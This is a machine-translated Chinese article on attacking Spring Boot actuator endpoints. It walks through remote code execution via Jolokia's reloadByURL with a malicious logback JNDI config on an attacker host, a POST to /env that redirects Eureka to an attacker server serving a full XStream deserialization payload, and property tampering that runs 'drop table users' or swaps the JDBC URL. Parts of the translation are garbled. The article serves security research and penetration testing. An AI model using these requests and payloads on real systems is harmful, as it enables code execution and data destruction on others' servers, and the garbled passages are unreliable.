Spring Boot
框架中包含了许多执行器功能,它可帮助开发人员在将Web应用程序部署到生产时监视和管理Web应用程序。这些被用来审计运行状况和对指标进行收集,它们还可以在配置错误时打开服务器的隐藏功能。
当Spring Boot应用程序运行时,它会自动将多个端点(例如'/health', '/trace', '/beans', '/env' etc
等)注册到路由进程中。对于Spring Boot 1 - 1.4
,它们没有身份验证即可访问,从而导致严重的安全问题。从Spring 1.5版开始,少量情况下,除“ /health”和“/info
”之外的所有端点都被视为安全的,但应用程序开发人员通常会代替此安全性。
以下执行器端点可能具有安全隐患,从而导致突破问题:
- / dump-显示线程转储情况(包括串联跟踪)
- / trace-显示最后几条HTTP消息(可能包含会话标识符)
- / logfile-输出日志文件的内容
- / shutdown-关闭应用程序
- /映射-显示所有MVC控制器映射
- / env-提供对配置环境的访问
- / restart-重新启动应用程序
对于Spring 1x
,它们在根URL下进行注册,并在2x版本中重定向功能移动到“ /actuator/
”的路径下。
进攻分析
大多数唯一actuators
支持GET
请求。因此敏感的配置数据会被宣布出来,但其中一些对于shell攻击者来说值得分析:
通过/ jolokia进行远程执行
如果J olokia
库位于目标应用程序路径中,Spring Boot
会在’ /jolokia
的actuator
端点下公开它。Jolokia
允许对所有已注册的MBean
进行HTTP
,并执行与使用JMX执行的相同操作。URL
此处我们可以使用来列出所有可用的MBean
操作:
http://127.0.0.1:8090/jolokia/list
同样,大多数MBeans操作只是列出了一些系统数据,但其中一个特别值得我们关注:Logback
库提供的“ reloadByURL
”操作允许我们从外部URL重新加载日志的记录配置。对于我们来说,只需导航到以下内容即可触发:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
那么,我们为什么要关心日志配置呢?主要是因为两个原因:
1 Config
具有XML
格式,当然,Logback
在启用外部实体的情况下进行XML进行解析,因此它很容易受到XXE攻击。
2的logback配置具有“从JNDI
电子杂志变量”功能。在XML文件中,我们可以包含一个标签,如'<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />'
,name
属性将传递给DirContext.lookup()
方法。我们如果可以在.lookup()
函数中提供对应名称值,我们甚至不需要XXE或HeapDump
,因为它为我们提供了完整的远程执行代码。
工作原理
1.攻击者请求上述URL执行’ qos.logback.classic.jmx.JMXConfigurator
‘类提供的’ reloadByURL
‘函数。
2.“ reloadByURL
”函数从http://artsploit.com/logback.xml
下载新的配置与其解析为Logback
。此恶意配置应具有以下内容:
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
3.在易受攻击的服务器上解析此文件时,它会创建与“ env-entry-name
”参数值中指定的攻击者LDAP
服务器的连接,从而导致JNDI
进行解析。恶意的LDAP
服务器可以返回具有“引用”类型的对象,以触发在目标应用程序上执行字节码。这篇MicroFocus
研究论文很好地解释了JNDI
攻击。由于Tomcat
的英文Spring Boot
架构中的默认应用程序服务器,新所以的JNDI
开发技术也。适用于此。
2通过’/ env’进行配置修改
如果Spring Cloud Libraries
在路径中,则’ /env
‘端点会被允许修改Spring环境属性。注释为“ @ConfigurationProperties
”的所有bean都可以进行修改和重新绑定。我们可以控制的许多属性列位于’ /configprops
‘的Actuators
端点。我们需要清除所修改的内容才能达到目标。几天后我们发现了这个:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将Eureka serviceURL
修改为任意值。Eureka Server
通常使用发现服务器,几乎所有Spring Cloud
应用程序都在其中注册并向其发送状态更新。如果幸运的话,目标路径中的Eureka-Client <1.8.7
(通常包含在Spring Cloud Netflix
中)可以利用XStream
反序列化裂缝。我们需要做的就是通过’ /env
‘将’ eureka.client.serviceUrl.defaultZone
‘属性设置为我们的服务器URL(http://artsploit.com/n/xstream)
,然后调用’ /refresh
‘端点。之后,我们的服务器应使用以下内容为XStream
提供参数:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
此XStream
的有效载荷的英文Marshalsec
研究中ImageIO JDK
的修改版本。唯一这里的区别的英文使用LinkedHashSet
来触发” jdk.nashorn.internal.objects.NativeString.hashCode()
“方法。原始有效载荷利用java.lang.Map
来实现相同的功能,但Eureka
的XStream
配置中有一个自定义的映射转换器,能够使其功能失效。然而上面的payload根本不使用Maps内容,可用于远程执行代码而无需额外的条件约束。
使用Spring Actuators
,永远用户无法访问内部Eureka
服务器,我们也可以利用此突破。我们只需要一个“ /env
”端点。
其余设置:
spring.datasource.tomcat.validationQuery = drop + table + users
允许我们进行SQL查询,允许自动对内部数据库执行。其支持任何入库,更新或删除语句。
spring.datasource.tomcat.url = jdbc:hsqldb:https:// localhost:3002 / xdb允许我们修改当前的JDBC连接字符串。
最后一个方法很有作用,但问题是当运行数据库连接的应用程序已经建立时,只更新JDBC字符串没有任何效果。不过在这种情况下还有另一个属性可以帮助我们:spring.datasource.tomcat.max-active=777
因此,我们可以更改JDBC连接字符串,增加连接数,然后向应用程序发送许多请求以模拟负载。在负载下,应用程序将使用更新的恶意JDBC字符。串创建新的数据库连接。我在Mysql本地测试了这种技术。
除此之外,这里还存在其他的一些属性:spring.datasource.url
-数据库连接字符串(仅用于第一个连接)spring.datasource.jndiName
-数据库JNDI字符串(仅用于第一个连接)spring.datasource.tomcat.dataSourceJNDI
-数据库JNDI核心spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url
(应用启动后没有任何效果,只使用初始值。)
除非初始化’ /restart
‘端点,否则这些属性没有任何效果。此端点重新启动所有ApplicationContext
,但有时情况下替换它。
注:在Spring Boot 2x
中,通过’ /env
‘端点修改属性的请求格式略有不同(它使用的是json格式),但结果是一样的。
易受攻击的应用程序示例:
如果要在本地测试此漏洞,我在Github页面上创建了一个简单的Spring Boot应用程序。所有payload均可以进行复现。
黑盒测试:
可以在此处找到默认actuators
的完整列表: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
。应用程序开发人员可以使用@Endpoint
创建自己的端点。